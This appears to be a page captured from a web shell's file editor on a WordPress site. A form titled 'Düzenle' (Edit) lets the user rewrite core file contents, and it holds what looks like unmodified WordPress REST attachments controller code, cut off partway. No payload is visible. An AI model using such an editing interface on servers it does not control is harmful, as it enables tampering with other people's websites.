?<h3>D¨ızenle: class-wp-rest-attachments-controller.php</h3>
        <form method='POST'>
        <textarea name='edit' style='width:100%;height:400px;font-family:monospace'>&lt;?php
/**
 * REST API: WP_REST_Attachments_Controller class
 *
 * @package WordPress
 * @subpackage REST_API
 * @since 4.7.0
 */

/**
 * Core controller used to access attachments via the REST API.
 *
 * @since 4.7.0
 *
 * @see WP_REST_Posts_Controller
 */
class WP_REST_Attachments_Controller extends WP_REST_Posts_Controller {

	/**
	 * Whether the controller supports batching.
	 *
	 * @since 5.9.0
	 * @var false
	 */
	protected $allow_batch = false;

	/**
	 * Registers the routes for attachments.
	 *
	 * @since 5.3.0
	 *
	 * @see register_rest_route()
	 */
	public function register_routes() {
		parent::register_routes();
		register_rest_route(
			$this-&gt;namespace,
			&#039;/&#039; . $this-&gt;rest_base . &#039;/(?P&lt;id&gt;[\d]+)/post-process&#039;,
			array(
				&#039;methods&#039;             =&gt; WP_REST_Server::CREATABLE,
				&#039;callback&#039;            =&gt; array( $this, &#039;post_process_item&#039; ),
				&#039;permission_callback&#039; =&gt; array( $this, &#039;post_process_item_permissions_check&#039; ),
				&#039;args&#039;                =&gt; array(
					&#039;id&#039;     =&gt; array(
						&#039;description&#039; =&gt; __( &#039;Unique identifier for the attachment.&#039; ),
						&#039;type&#039;        =&gt; &#039;integer&#039;,
					),
					&#039;action&#039; =&gt; array(
						&#039;type&#039;     =&gt; &#039;string&#039;,
						&#039;enum&#039;     =&gt; array( &#039;create-image-subsizes&#039; ),
						&#039;required&#039; =&gt; true,
					),
				),
			)
		);
		register_rest_route(
			$this-&gt;namespace,
			&#039;/&#039; . $this-&gt;rest_base . &#039;/(?P&lt;id&gt;[\d]+)/edit&#039;,
			array(
				&#039;methods&#039;             =&gt; WP_REST_Server::CREATABLE,
				&#039;callback&#039;            =&gt; array( $this, &#039;edit_media_item&#039; ),
				&#039;permission_callback&#039; =&gt; array( $this, &#039;edit_media_item_permissions_check&#039; ),
				&#039;args&#039;                =&gt; $this-&gt;get_edit_media_item_args(),
			)
		);
	}

	/**
	 * Determines the allowed query_vars for a get_items() response and
	 * prepares for WP_Query.
	 *
	 * @since 4.7.0
	 *
	 * @param array           $prepared_args Optional. Array of prepared arguments. Default empty array.
	 * @param WP_REST_Request $request       Optional. Request to prepare items for.
	 * @return array Array of query arguments.
	 */
	protected function prepare_items_query( $prepared_args = array(), $request = null ) {
		$query_args = parent::prepare_items_query( $prepared_args, $request );

		if ( empty( $query_args[&#039;post_status&#039;] ) ) {
			$query_args[&#039;post_status&#039;] = &#039;inherit&#039;;
		}

		$media_types = $this-&gt;get_media_types();

		if ( ! empty( $request[&#039;media_type&#039;] ) &amp;&amp; isset( $media_types[ $request[&#039;media_type&#039;] ] ) ) {
			$query_args[&#039;post_mime_type&#039;] = $media_types[ $request[&#039;media_type&#039;] ];
		}

		if ( ! empty( $request[&#039;mime_type&#039;] ) ) {
			$parts = explode( &#039;/&#039;, $request[&#039;mime_type&#039;] );
			if ( isset( $media_types[ $parts[0] ] ) &amp;&amp; in_array( $request[&#039;mime_type&#039;], $media_types[ $parts[0] ], true ) ) {
				$query_args[&#039;post_mime_type&#039;] = $request[&#039;mime_type&#039;];
			}
		}

		// Filter query clauses to include filenames.
		if ( isset( $query_args[&#039;s&#039;] ) ) {
			add_filter( &#039;wp_allow_query_attachment_by_filename&#039;, &#039;__return_true&#039; );
		}

		return $query_args;
	}

	/**
	 * Checks if a given request has access to create an attachment.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error Boolean true if the attachment may be created, or a WP_Error if not.
	 */
	public function create_item_permissions_check( $request ) {
		$ret = parent::create_item_permissions_check( $request );

		if ( ! $ret || is_wp_error( $ret ) ) {
			return $ret;
		}

		if ( ! current_user_can( &#039;upload_files&#039; ) ) {
			return new WP_Error(
				&#039;rest_cannot_create&#039;,
				__( &#039;Sorry, you are not allowed to upload media on this site.&#039; ),
				array( &#039;status&#039; =&gt; 400 )
			);
		}

		// Attaching media to a post requires ability to edit said post.
		if ( ! empty( $request[&#039;post&#039;] ) &amp;&amp; ! current_user_can( &#039;edit_post&#039;, (int) $request[&#039;post&#039;] ) ) {
			return new WP_Error(
				&#039;rest_cannot_edit&#039;,
				__( &#039;Sorry, you are not allowed to upload media to this post.&#039; ),
				array( &#039;status&#039; =&gt; rest_authorization_required_code() )
			);
		}
		$files = $request-&gt;get_file_params();

		/**
		 * Filter whether the server should prevent uploads for image types it doesn&#039;t support. Default true.
		 *
		 * Developers can use this filter to enable uploads of certain image types. By default image types that are not
		 * supported by the server are prevented from being uploaded.
		 *
		 * @since 6.8.0
		 *
		 * @param bool        $check_mime Whether to prevent uploads of unsupported image types.
		 * @param string|null $mime_type  The mime type of the file being uploaded (if available).
		 */
		$prevent_unsupported_uploads = apply_filters( &#039;wp_prevent_unsupported_mime_type_uploads&#039;, true, isset( $files[&#039;file&#039;][&#039;type&#039;] ) ? $files[&#039;file&#039;][&#039;type&#039;] : null );

		// If the upload is an image, check if the server can handle the mime type.
		if (
			$prevent_unsupported_uploads &amp;&amp;
			isset( $files[&#039;file&#039;][&#039;type&#039;] ) &amp;&amp;
			str_starts_with( $files[&#039;file&#039;][&#039;type&#039;], &#039;image/&#039; )
		) {
			// Check if the image editor supports the type.
			if ( ! wp_image_editor_supports( array( &#039;mime_type&#039; =&gt; $files[&#039;file&#039;][&#039;type&#039;] ) ) ) {
				return new WP_Error(
					&#039;rest_upload_image_type_not_supported&#039;,
					__( &#039;The web server cannot generate responsive image sizes for this image. Convert it to JPEG or PNG before uploading.&#039; ),
					array( &#039;status&#039; =&gt; 400 )
				);
			}
		}

		return true;
	}

	/**
	 * Creates a single attachment.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, WP_Error object on failure.
	 */
	public function create_item( $request ) {
		if ( ! empty( $request[&#039;post&#039;] ) &amp;&amp; in_array( get_post_type( $request[&#039;post&#039;] ), array( &#039;revision&#039;, &#039;attachment&#039; ), true ) ) {
			return new WP_Error(
				&#039;rest_invalid_param&#039;,
				__( &#039;Invalid parent type.&#039; ),
				array( &#039;status&#039; =&gt; 400 )
			);
		}

		$insert = $this-&gt;insert_attachment( $request );

		if ( is_wp_error( $insert ) ) {
			return $insert;
		}

		$schema = $this-&gt;get_item_schema();

		// Extract by name.
		$attachment_id = $insert[&#039;attachment_id&#039;];
		$file          = $insert[&#039;file&#039;];

		if ( isset( $request[&#039;alt_text&#039;] ) ) {
			update_post_meta( $attachment_id, &#039;_wp_attachment_image_alt&#039;, sanitize_text_field( $request[&#039;alt_text&#039;] ) );
		}

		if ( ! empty( $schema[&#039;properties&#039;][&#039;featured_media&#039;] ) &amp;&amp; isset( $request[&#039;featured_media&#039;] ) ) {
			$thumbnail_update = $this-&gt;handle_featured_media( $request[&#039;featured_media&#039;], $attachment_id );

			if ( is_wp_error( $thumbnail_update ) ) {
				return $thumbnail_update;
			}
		}

		if ( ! empty( $schema[&#039;properties&#039;][&#039;meta&#039;] ) &amp;&amp; isset( $request[&#039;meta&#039;] ) ) {
			$meta_update = $this-&gt;meta-&gt;update_value( $request[&#039;meta&#039;], $attachment_id );

			if ( is_wp_error( $meta_update ) ) {
				return $meta_update;
			}
		}

		$attachment    = get_post( $attachment_id );
		$fields_update = $this-&gt;update_additional_fields_for_object( $attachment, $request );

		if ( is_wp_error( $fields_update ) ) {
			return $fields_update;
		}

		$terms_update = $this-&gt;handle_terms( $attachment_id, $request );

		if ( is_wp_error( $terms_update ) ) {
			return $terms_update;
		}

		$request-&gt;set_param( &#039;context&#039;, &#039;edit&#039; );

		/**
		 * Fires after a single attachment is completely created or updated via the REST API.
		 *
		 * @since 5.0.0
		 *
		 * @param WP_Post         $attachment Inserted or updated attachment object.
		 * @param WP_REST_Request $request    Request object.
		 * @param bool            $creating   True when creating an attachment, false when updating.
		 */
		do_action( &#039;rest_after_insert_attachment&#039;, $attachment, $request, true );

		wp_after_insert_post( $attachment, false, null );

		if ( wp_is_serving_rest_request() ) {
			/*
			 * Set a custom header with the attachment_id.
			 * Used by the browser/client to resume creating image sub-sizes after a PHP fatal error.
			 */
			header( &#039;X-WP-Upload-Attachment-ID: &#039; . $attachment_id );
		}

		// Include media and image functions to get access to wp_generate_attachment_metadata().
		require_once ABSPATH . &#039;wp-admin/includes/media.php&#039;;
		require_once ABSPATH . &#039;wp-admin/includes/image.php&#039;;

		/*
		 * Post-process the upload (create image sub-sizes, make PDF thumbnails, etc.) and insert attachment meta.
		 * At this point the server may run out of resources and post-processing of uploaded images may fail.
		 */
		wp_update_attachment_metadata( $attachment_id, wp_generate_attachment_metadata( $attachment_id, $file ) );

		$response = $this-&gt;prepare_item_for_response( $attachment, $request );
		$response = rest_ensure_response( $response );
		$response-&gt;set_status( 201 );
		$response-&gt;header( &#039;Location&#039;, rest_url( sprintf( &#039;%s/%s/%d&#039;, $this-&gt;namespace, $this-&gt;rest_base, $attachment_id ) ) );

		return $response;
	}

	/**
	 * Inserts the attachment post in the database. Does not update the attachment meta.
	 *
	 * @since 5.3.0
	 *
	 * @param WP_REST_Request $request
	 * @return array|WP_Error
	 */
	protected function insert_attachment( $request ) {
		// Get the file via $_FILES or raw data.
		$files   = $request-&gt;get_file_params();
		$headers = $request-&gt;get_headers();

		$time = null;

		// Matches logic in media_handle_upload().
		if ( ! empty( $request[&#039;post&#039;] ) ) {
			$post = get_post( $request[&#039;post&#039;] );
			// The post date doesn&#039;t usually matter for pages, so don&#039;t backdate this upload.
			if ( $post &amp;&amp; &#039;page&#039; !== $post-&gt;post_type &amp;&amp; substr( $post-&gt;post_date, 0, 4 ) &gt; 0 ) {
				$time = $post-&gt;post_date;
			}
		}

		if ( ! empty( $files ) ) {
			$file = $this-&gt;upload_from_file( $files, $headers, $time );
		} else {
			$file = $this-&gt;upload_from_data( $request-&gt;get_body(), $headers, $time );
		}

		if ( is_wp_error( $file ) ) {
			return $file;
		}

		$name       = wp_basename( $file[&#039;file&#039;] );
		$name_parts = pathinfo( $name );
		$name       = trim( substr( $name, 0, -( 1 + strlen( $name_parts[&#039;extension&#039;] ) ) ) );

		$url  = $file[&#039;url&#039;];
		$type = $file[&#039;type&#039;];
		$file = $file[&#039;file&#039;];

		// Include image functions to get access to wp_read_image_metadata().
		require_once ABSPATH . &#039;wp-admin/includes/image.php&#039;;

		// Use image exif/iptc data for title and caption defaults if possible.
		$image_meta = wp_read_image_metadata( $file );

		if ( ! empty( $image_meta ) ) {
			if ( empty( $request[&#039;title&#039;] ) &amp;&amp; trim( $image_meta[&#039;title&#039;] ) &amp;&amp; ! is_numeric( sanitize_title( $image_meta[&#039;title&#039;] ) ) ) {
				$request[&#039;title&#039;] = $image_meta[&#039;title&#039;];
			}

			if ( empty( $request[&#039;caption&#039;] ) &amp;&amp; trim( $image_meta[&#039;caption&#039;] ) ) {
				$request[&#039;caption&#039;] = $image_meta[&#039;caption&#039;];
			}
		}

		$attachment = $this-&gt;prepare_item_for_database( $request );

		$attachment-&gt;post_mime_type = $type;
		$attachment-&gt;guid           = $url;

		// If the title was not set, use the original filename.
		if ( empty( $attachment-&gt;post_title ) &amp;&amp; ! empty( $files[&#039;file&#039;][&#039;name&#039;] ) ) {
			// Remove the file extension (after the last `.`)
			$tmp_title = substr( $files[&#039;file&#039;][&#039;name&#039;], 0, strrpos( $files[&#039;file&#039;][&#039;name&#039;], &#039;.&#039; ) );

			if ( ! empty( $tmp_title ) ) {
				$attachment-&gt;post_title = $tmp_title;
			}
		}

		// Fall back to the original approach.
		if ( empty( $attachment-&gt;post_title ) ) {
			$attachment-&gt;post_title = preg_replace( &#039;/\.[^.]+$/&#039;, &#039;&#039;, wp_basename( $file ) );
		}

		// $post_parent is inherited from $attachment[&#039;post_parent&#039;].
		$id = wp_insert_attachment( wp_slash( (array) $attachment ), $file, 0, true, false );

		if ( is_wp_error( $id ) ) {
			if ( &#039;db_update_error&#039; === $id-&gt;get_error_code() ) {
				$id-&gt;add_data( array( &#039;status&#039; =&gt; 500 ) );
			} else {
				$id-&gt;add_data( array( &#039;status&#039; =&gt; 400 ) );
			}

			return $id;
		}

		$attachment = get_post( $id );

		/**
		 * Fires after a single attachment is created or updated via the REST API.
		 *
		 * @since 4.7.0
		 *
		 * @param WP_Post         $attachment Inserted or updated attachment object.
		 * @param WP_REST_Request $request    The request sent to the API.
		 * @param bool            $creating   True when creating an attachment, false when updating.
		 */
		do_action( &#039;rest_insert_attachment&#039;, $attachment, $request, true );

		return array(
			&#039;attachment_id&#039; =&gt; $id,
			&#039;file&#039;          =&gt; $file,
		);
	}

	/**
	 * Determines the featured media based on a request param.
	 *
	 * @since 6.5.0
	 *
	 * @param int $featured_media Featured Media ID.
	 * @param int $post_id        Post ID.
	 * @return bool|WP_Error Whether the post thumbnail was successfully deleted, otherwise WP_Error.
	 */
	protected function handle_featured_media( $featured_media, $post_id ) {
		$post_type         = get_post_type( $post_id );
		$thumbnail_support = current_theme_supports( &#039;post-thumbnails&#039;, $post_type ) &amp;&amp; post_type_supports( $post_type, &#039;thumbnail&#039; );

		// Similar check as in wp_insert_post().
		if ( ! $thumbnail_support &amp;&amp; get_post_mime_type( $post_id ) ) {
			if ( wp_attachment_is( &#039;audio&#039;, $post_id ) ) {
				$thumbnail_support = post_type_supports( &#039;attachment:audio&#039;, &#039;thumbnail&#039; ) || current_theme_supports( &#039;post-thumbnails&#039;, &#039;attachment:audio&#039; );
			} elseif ( wp_attachment_is( &#039;video&#039;, $post_id ) ) {
				$thumbnail_support = post_type_supports( &#039;attachment:video&#039;, &#039;thumbnail&#039; ) || current_theme_supports( &#039;post-thumbnails&#039;, &#039;attachment:video&#039; );
			}
		}

		if ( $thumbnail_support ) {
			return parent::handle_featured_media( $featured_media, $post_id );
		}

		return new WP_Error(
			&#039;rest_no_featured_media&#039;,
			sprintf(
				/* translators: %s: attachment mime type */
				__( &#039;This site does not support post thumbnails on attachments with MIME type %s.&#039; ),
				get_post_mime_type( $post_id )
			),
			array( &#039;status&#039; =&gt; 400 )
		);
	}

	/**
	 * Updates a single attachment.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, WP_Error object on failure.
	 */
	public function update_item( $request ) {
		if ( ! empty( $request[&#039;post&#039;] ) &amp;&amp; in_array( get_post_type( $request[&#039;post&#039;] ), array( &#039;revision&#039;, &#039;attachment&#039; ), true ) ) {
			return new WP_Error(
				&#039;rest_invalid_param&#039;,
				__( &#039;Invalid parent type.&#039; ),
				array( &#039;status&#039; =&gt; 400 )
			);
		}

		$attachment_before = get_post( $request[&#039;id&#039;] );
		$response          = parent::update_item( $request );

		if ( is_wp_error( $response ) ) {
			return $response;
		}

		$response = rest_ensure_response( $response );
		$data     = $response-&gt;get_data();

		if ( isset( $request[&#039;alt_text&#039;] ) ) {
			update_post_meta( $data[&#039;id&#039;], &#039;_wp_attachment_image_alt&#039;, $request[&#039;alt_text&#039;] );
		}

		$attachment = get_post( $request[&#039;id&#039;] );

		if ( ! empty( $schema[&#039;properties&#039;][&#039;featured_media&#039;] ) &amp;&amp; isset( $request[&#039;featured_media&#039;] ) ) {
			$thumbnail_update = $this-&gt;handle_featured_media( $request[&#039;featured_media&#039;], $attachment-&gt;ID );

			if ( is_wp_error( $thumbnail_update ) ) {
				return $thumbnail_update;
			}
		}

		$fields_update = $this-&gt;update_additional_fields_for_object( $attachment, $request );

		if ( is_wp_error( $fields_update ) ) {
			return $fields_update;
		}

		$request-&gt;set_param( &#039;context&#039;, &#039;edit&#039; );

		/** This action is documented in wp-includes/rest-api/endpoints/class-wp-rest-attachments-controller.php */
		do_action( &#039;rest_after_insert_attachment&#039;, $attachment, $request, false );

		wp_after_insert_post( $attachment, true, $attachment_before );

		$response = $this-&gt;prepare_item_for_response( $attachment, $request );
		$response = rest_ensure_response( $response );

		return $response;
	}

	/**
	 * Performs post-processing on an attachment.
	 *
	 * @since 5.3.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, WP_Error object on failure.
	 */
	public function post_process_item( $request ) {
		switch ( $request[&#039;action&#039;] ) {
			case &#039;create-image-subsizes&#039;:
				require_once ABSPATH . &#039;wp-admin/includes/image.php&#039;;
				wp_update_image_subsizes( $request[&#039;id&#039;] );
				break;
		}

		$request[&#039;context&#039;] = &#039;edit&#039;;

		return $this-&gt;prepare_item_for_response( get_post( $request[&#039;id&#039;] ), $request );
	}

	/**
	 * Checks if a given request can perform post-processing on an attachment.
	 *
	 * @since 5.3.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has access to update the item, WP_Error object otherwise.
	 */
	public function post_process_item_permissions_check( $request ) {
		return $this-&gt;update_item_permissions_check( $request );
	}

	/**
	 * Checks if a given request has access to editing media.
	 *
	 * @since 5.5.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has read access, WP_Error object otherwise.
	 */
	public function edit_media_item_permissions_check( $request ) {
		if ( ! current_user_can( &#039;upload_files&#039; ) ) {
			return new WP_Error(
				&#039;rest_cannot_edit_image&#039;,
				__( &#039;Sorry, you are not allowed to upload media on this site.&#039; ),
				array( &#039;status&#039; =&gt; rest_authorization_required_code() )
			);
		}

		return $this-&gt;update_item_permissions_check( $request );
	}

	/**
	 * Applies edits to a media item and creates a new attachment record.
	 *
	 * @since 5.5.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, WP_Error object on failure.
	 */
	public function edit_media_item( $request ) {
		require_once ABSPATH . &#039;wp-admin/includes/image.php&#039;;

		$attachment_id = $request[&#039;id&#039;];

		// This also confirms the attachment is an image.
		$image_file = wp_get_original_image_path( $attachment_id );
		$image_meta = wp_get_attachment_metadata( $attachment_id );

		if (
			! $image_meta ||
			! $image_file ||
			! wp_image_file_matches_image_meta( $request[&#039;src&#039;], $image_meta, $attachment_id )
		) {
			return new WP_Error(
				&#039;rest_unknown_attachment&#039;,
				__( &#039;Unable to get meta information for file.&#039; ),
				array( &#039;status&#039; =&gt; 404 )
			);
		}

		$supported_types = array( &#039;image/jpeg&#039;, &#039;image/png&#039;, &#039;image/gif&#039;, &#039;image/webp&#039;, &#039;image/avif&#039;, &#039;image/heic&#039; );
		$mime_type       = get_post_mime_type( $attachment_id );
		if ( ! in_array( $mime_type, $supported_types, true ) ) {
			return new WP_Error(
				&#039;rest_cannot_edit_file_type&#039;,
				__( &#039;This type of file cannot be edited.&#039; ),
				array( &#039;status&#039; =&gt; 400 )
			);
		}

		// The `modifiers` param takes precedence over the older format.
		if ( isset( $request[&#039;modifiers&#039;] ) ) {
			$modifiers = $request[&#039;modifiers&#039;];
		} else {
			$modifiers = array();

			if ( ! empty( $request[&#039;rotation&#039;] ) ) {
				$modifiers[] = array(
					&#039;type&#039; =&gt; &#039;rotate&#039;,
					&#039;args&#039; =&gt; array(
						&#039;angle&#039; =&gt; $request[&#039;rotation&#039;],
					),
				);
			}

			if ( isset( $request[&#039;x&#039;], $request[&#039;y&#039;], $request[&#039;width&#039;], $request[&#039;height&#039;] ) ) {
				$modifiers[] = array(
					&#039;type&#039; =&gt; &#039;crop&#039;,
					&#039;args&#039; =&gt; array(
						&#039;left&#039;   =&gt; $request[&#039;x&#039;],
						&#039;top&#039;    =&gt; $request[&#039;y&#039;],
						&#039;width&#039;  =&gt; $request[&#039;width&#039;],
						&#039;height&#039; =&gt; $request[&#039;height&#039;],
					),
				);
			}

			if ( 0 === count( $modifiers ) ) {
				return new WP_Error(
					&#039;rest_image_not_edited&#039;,
					__( &#039;The image was not edited. Edit the image before applying the changes.&#039; ),
					array( &#039;status&#039; =&gt; 400 )
				);
			}
		}

		/*
		 * If the file doesn&#039;t exist, attempt a URL fopen on the src link.
		 * This can occur with certain file replication plugins.
		 * Keep the original file path to get a modified name later.
		 */
		$image_file_to_edit = $image_file;
		if ( ! file_exists( $image_file_to_edit ) ) {
			$image_file_to_edit = _load_image_to_edit_path( $attachment_id );
		}

		$image_editor = wp_get_image_editor( $image_file_to_edit );

		if ( is_wp_error( $image_editor ) ) {
			return new WP_Error(
				&#039;rest_unknown_image_file_type&#039;,
				__( &#039;Unable to edit this image.&#039; ),
				array( &#039;status&#039; =&gt; 500 )
			);
		}

		foreach ( $modifiers as $modifier ) {
			$args = $modifier[&#039;args&#039;];
			switch ( $modifier[&#039;type&#039;] ) {
				case &#039;rotate&#039;:
					// Rotation direction: clockwise vs. counterclockwise.
					$rotate = 0 - $args[&#039;angle&#039;];

					if ( 0 !== $rotate ) {
						$result = $image_editor-&gt;rotate( $rotate );

						if ( is_wp_error( $result ) ) {
							return new WP_Error(
								&#039;rest_image_rotation_failed&#039;,
								__( &#039;Unable to rotate this image.&#039; ),
								array( &#039;status&#039; =&gt; 500 )
							);
						}
					}

					break;

				case &#039;crop&#039;:
					$size = $image_editor-&gt;get_size();

					$crop_x = (int) round( ( $size[&#039;width&#039;] * $args[&#039;left&#039;] ) / 100.0 );
					$crop_y = (int) round( ( $size[&#039;height&#039;] * $args[&#039;top&#039;] ) / 100.0 );
					$width  = (int) round( ( $size[&#039;width&#039;] * $args[&#039;width&#039;] ) / 100.0 );
					$height = (int) round( ( $size[&#039;height&#039;] * $args[&#039;height&#039;] ) / 100.0 );

					if ( $size[&#039;width&#039;] !== $width || $size[&#039;height&#039;] !== $height ) {
						$result = $image_editor-&gt;crop( $crop_x, $crop_y, $width, $height );

						if ( is_wp_error( $result ) ) {
							return new WP_Error(
								&#039;rest_image_crop_failed&#039;,
								__( &#039;Unable to crop this image.&#039; ),
								array( &#039;status&#039; =&gt; 500 )
							);
						}
					}

					break;

			}
		}

		// Calculate the file name.
		$image_ext  = pathinfo( $image_file, PATHINFO_EXTENSION );
		$image_name = wp_basename( $image_file, &quot;.{$image_ext}&quot; );

		/*
		 * Do not append multiple `-edited` to the file name.
		 * The user may be editing a previously edited image.
		 */
		if ( preg_match( &#039;/-edited(-\d+)?$/&#039;, $image_name ) ) {
			// Remove any `-1`, `-2`, etc. `wp_unique_filename()` will add the proper number.
			$image_name = preg_replace( &#039;/-edited(-\d+)?$/&#039;, &#039;-edited&#039;, $image_name );
		} else {
			// Append `-edited` before the extension.
			$image_name .= &#039;-edited&#039;;
		}

		$filename = &quot;{$image_name}.{$image_ext}&quot;;

		// Create the uploads subdirectory if needed.
		$uploads = wp_upload_dir();

		// Make the file name unique in the (new) upload directory.
		$filename = wp_unique_filename( $uploads[&#039;path&#039;], $filename );

		// Save to disk.
		$saved = $image_editor-&gt;save( $uploads[&#039;path&#039;] . &quot;/$filename&quot; );

		if ( is_wp_error( $saved ) ) {
			return $saved;
		}

		// Create new attachment post.
		$new_attachment_post = array(
			&#039;post_mime_type&#039; =&gt; $saved[&#039;mime-type&#039;],
			&#039;guid&#039;           =&gt; $uploads[&#039;url&#039;] . &quot;/$filename&quot;,
			&#039;post_title&#039;     =&gt; $image_name,
			&#039;post_content&#039;   =&gt; &#039;&#039;,
		);

		// Copy post_content, post_excerpt, and post_title from the edited image&#039;s attachment post.
		$attachment_post = get_post( $attachment_id );

		if ( $attachment_post ) {
			$new_attachment_post[&#039;post_content&#039;] = $attachment_post-&gt;post_content;
			$new_attachment_post[&#039;post_excerpt&#039;] = $attachment_post-&gt;post_excerpt;
			$new_attachment_post[&#039;post_title&#039;]   = $attachment_post-&gt;post_title;
		}

		$new_attachment_id = wp_insert_attachment( wp_slash( $new_attachment_post ), $saved[&#039;path&#039;], 0, true );

		if ( is_wp_error( $new_attachment_id ) ) {
			if ( &#039;db_update_error&#039; === $new_attachment_id-&gt;get_error_code() ) {
				$new_attachment_id-&gt;add_data( array( &#039;status&#039; =&gt; 500 ) );
			} else {
				$new_attachment_id-&gt;add_data( array( &#039;status&#039; =&gt; 400 ) );
			}

			return $new_attachment_id;
		}

		// Copy the image alt text from the edited image.
		$image_alt = get_post_meta( $attachment_id, &#039;_wp_attachment_image_alt&#039;, true );

		if ( ! empty( $image_alt ) ) {
			// update_post_meta() expects slashed.
			update_post_meta( $new_attachment_id, &#039;_wp_attachment_image_alt&#039;, wp_slash( $image_alt ) );
		}

		if ( wp_is_serving_rest_request() ) {
			/*
			 * Set a custom header with the attachment_id.
			 * Used by the browser/client to resume creating image sub-sizes after a PHP fatal error.
			 */
			header( &#039;X-WP-Upload-Attachment-ID: &#039; . $new_attachment_id );
		}

		// Generate image sub-sizes and meta.
		$new_image_meta = wp_generate_attachment_metadata( $new_attachment_id, $saved[&#039;path&#039;] );

		// Copy the EXIF metadata from the original attachment if not generated for the edited image.
		if ( isset( $image_meta[&#039;image_meta&#039;] ) &amp;&amp; isset( $new_image_meta[&#039;image_meta&#039;] ) &amp;&amp; is_array( $new_image_meta[&#039;image_meta&#039;] ) ) {
			// Merge but skip empty values.
			foreach ( (array) $image_meta[&#039;image_meta&#039;] as $key =&gt; $value ) {
				if ( empty( $new_image_meta[&#039;image_meta&#039;][ $key ] ) &amp;&amp; ! empty( $value ) ) {
					$new_image_meta[&#039;image_meta&#039;][ $key ] = $value;
				}
			}
		}

		// Reset orientation. At this point the image is edited and orientation is correct.
		if ( ! empty( $new_image_meta[&#039;image_meta&#039;][&#039;orientation&#039;] ) ) {
			$new_image_meta[&#039;image_meta&#039;][&#039;orientation&#039;] = 1;
		}

		// The attachment_id may change if the site is exported and imported.
		$new_image_meta[&#039;parent_image&#039;] = array(
			&#039;attachment_id&#039; =&gt; $attachment_id,
			// Path to the originally uploaded image file relative to the uploads directory.
			&#039;file&#039;          =&gt; _wp_relative_upload_path( $image_file ),
		);

		/**
		 * Filters the meta data for the new image created by editing an existing image.
		 *
		 * @since 5.5.0
		 *
		 * @param array $new_image_meta    Meta data for the new image.
		 * @param int   $new_attachment_id Attachment post ID for the new image.
		 * @param int   $attachment_id     Attachment post ID for the edited (parent) image.
		 */
		$new_image_meta = apply_filters( &#039;wp_edited_image_metadata&#039;, $new_image_meta, $new_attachment_id, $attachment_id );

		wp_update_attachment_metadata( $new_attachment_id, $new_image_meta );

		$response = $this-&gt;prepare_item_for_response( get_post( $new_attachment_id ), $request );
		$response-&gt;set_status( 201 );
		$response-&gt;header( &#039;Location&#039;, rest_url( sprintf( &#039;%s/%s/%s&#039;, $this-&gt;namespace, $this-&gt;rest_base, $new_attachment_id ) ) );

		return $response;
	}

	/**
	 * Prepares a single attachment for create or update.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Request object.
	 * @return stdClass|WP_Error Post object.
	 */
	protected function prepare_item_for_database( $request ) {
		$prepared_attachment = parent::prepare_item_for_database( $request );

		// Attachment caption (post_excerpt internally).
		if ( isset( $request[&#039;caption&#039;] ) ) {
			if ( is_string( $request[&#039;caption&#039;] ) ) {
				$prepared_attachment-&gt;post_excerpt = $request[&#039;caption&#039;];
			} elseif ( isset( $request[&#039;caption&#039;][&#039;raw&#039;] ) ) {
				$prepared_attachment-&gt;post_excerpt = $request[&#039;caption&#039;][&#039;raw&#039;];
			}
		}

		// Attachment description (post_content internally).
		if ( isset( $request[&#039;description&#039;] ) ) {
			if ( is_string( $request[&#039;description&#039;] ) ) {
				$prepared_attachment-&gt;post_content = $request[&#039;description&#039;];
			} elseif ( isset( $request[&#039;description&#039;][&#039;raw&#039;] ) ) {
				$prepared_attachment-&gt;post_content = $request[&#039;description&#039;][&#039;raw&#039;];
			}
		}

		if ( isset( $request[&#039;post&#039;] ) ) {
			$prepared_attachment-&gt;post_parent = (int) $request[&#039;post&#039;];
		}

		return $prepared_attachment;
	}

	/**
	 * Prepares a single attachment output for response.
	 *
	 * @since 4.7.0
	 * @since 5.9.0 Renamed `$post` to `$item` to match parent class for PHP 8 named parameter support.
	 *
	 * @param WP_Post         $item    Attachment object.
	 * @param WP_REST_Request $request Request object.
	 * @return WP_REST_Response Response object.
	 */
	public function prepare_item_for_response( $item, $request ) {
		// Restores the more descriptive, specific name for use within this method.
		$post = $item;

		$response = parent::prepare_item_for_response( $post, $request );
		$fields   = $this-&gt;get_fields_for_response( $request );
		$data     = $response-&gt;get_data();

		if ( in_array( &#039;description&#039;, $fields, true ) ) {
			$data[&#039;description&#039;] = array(
				&#039;raw&#039;      =&gt; $post-&gt;post_content,
				/** This filter is documented in wp-includes/post-template.php */
				&#039;rendered&#039; =&gt; apply_filters( &#039;the_content&#039;, $post-&gt;post_content ),
			);
		}

		if ( in_array( &#039;caption&#039;, $fields, true ) ) {
			/** This filter is documented in wp-includes/post-template.php */
			$caption = apply_filters( &#039;get_the_excerpt&#039;, $post-&gt;post_excerpt, $post );

			/** This filter is documented in wp-includes/post-template.php */
			$caption = apply_filters( &#039;the_excerpt&#039;, $caption );

			$data[&#039;caption&#039;] = array(
				&#039;raw&#039;      =&gt; $post-&gt;post_excerpt,
				&#039;rendered&#039; =&gt; $caption,
			);
		}

		if ( in_array( &#039;alt_text&#039;, $fields, true ) ) {
			$data[&#039;alt_text&#039;] = get_post_meta( $post-&gt;ID, &#039;_wp_attachment_image_alt&#039;, true );
		}

		if ( in_array( &#039;media_type&#039;, $fields, true ) ) {
			$data[&#039;media_type&#039;] = wp_attachment_is_image( $post-&gt;ID ) ? &#039;image&#039; : &#039;file&#039;;
		}

		if ( in_array( &#039;mime_type&#039;, $fields, true ) ) {
			$data[&#039;mime_type&#039;] = $post-&gt;post_mime_type;
		}

		if ( in_array( &#039;media_details&#039;, $fields, true ) ) {
			$data[&#039;media_details&#039;] = wp_get_attachment_metadata( $post-&gt;ID );

			// Ensure empty details is an empty object.
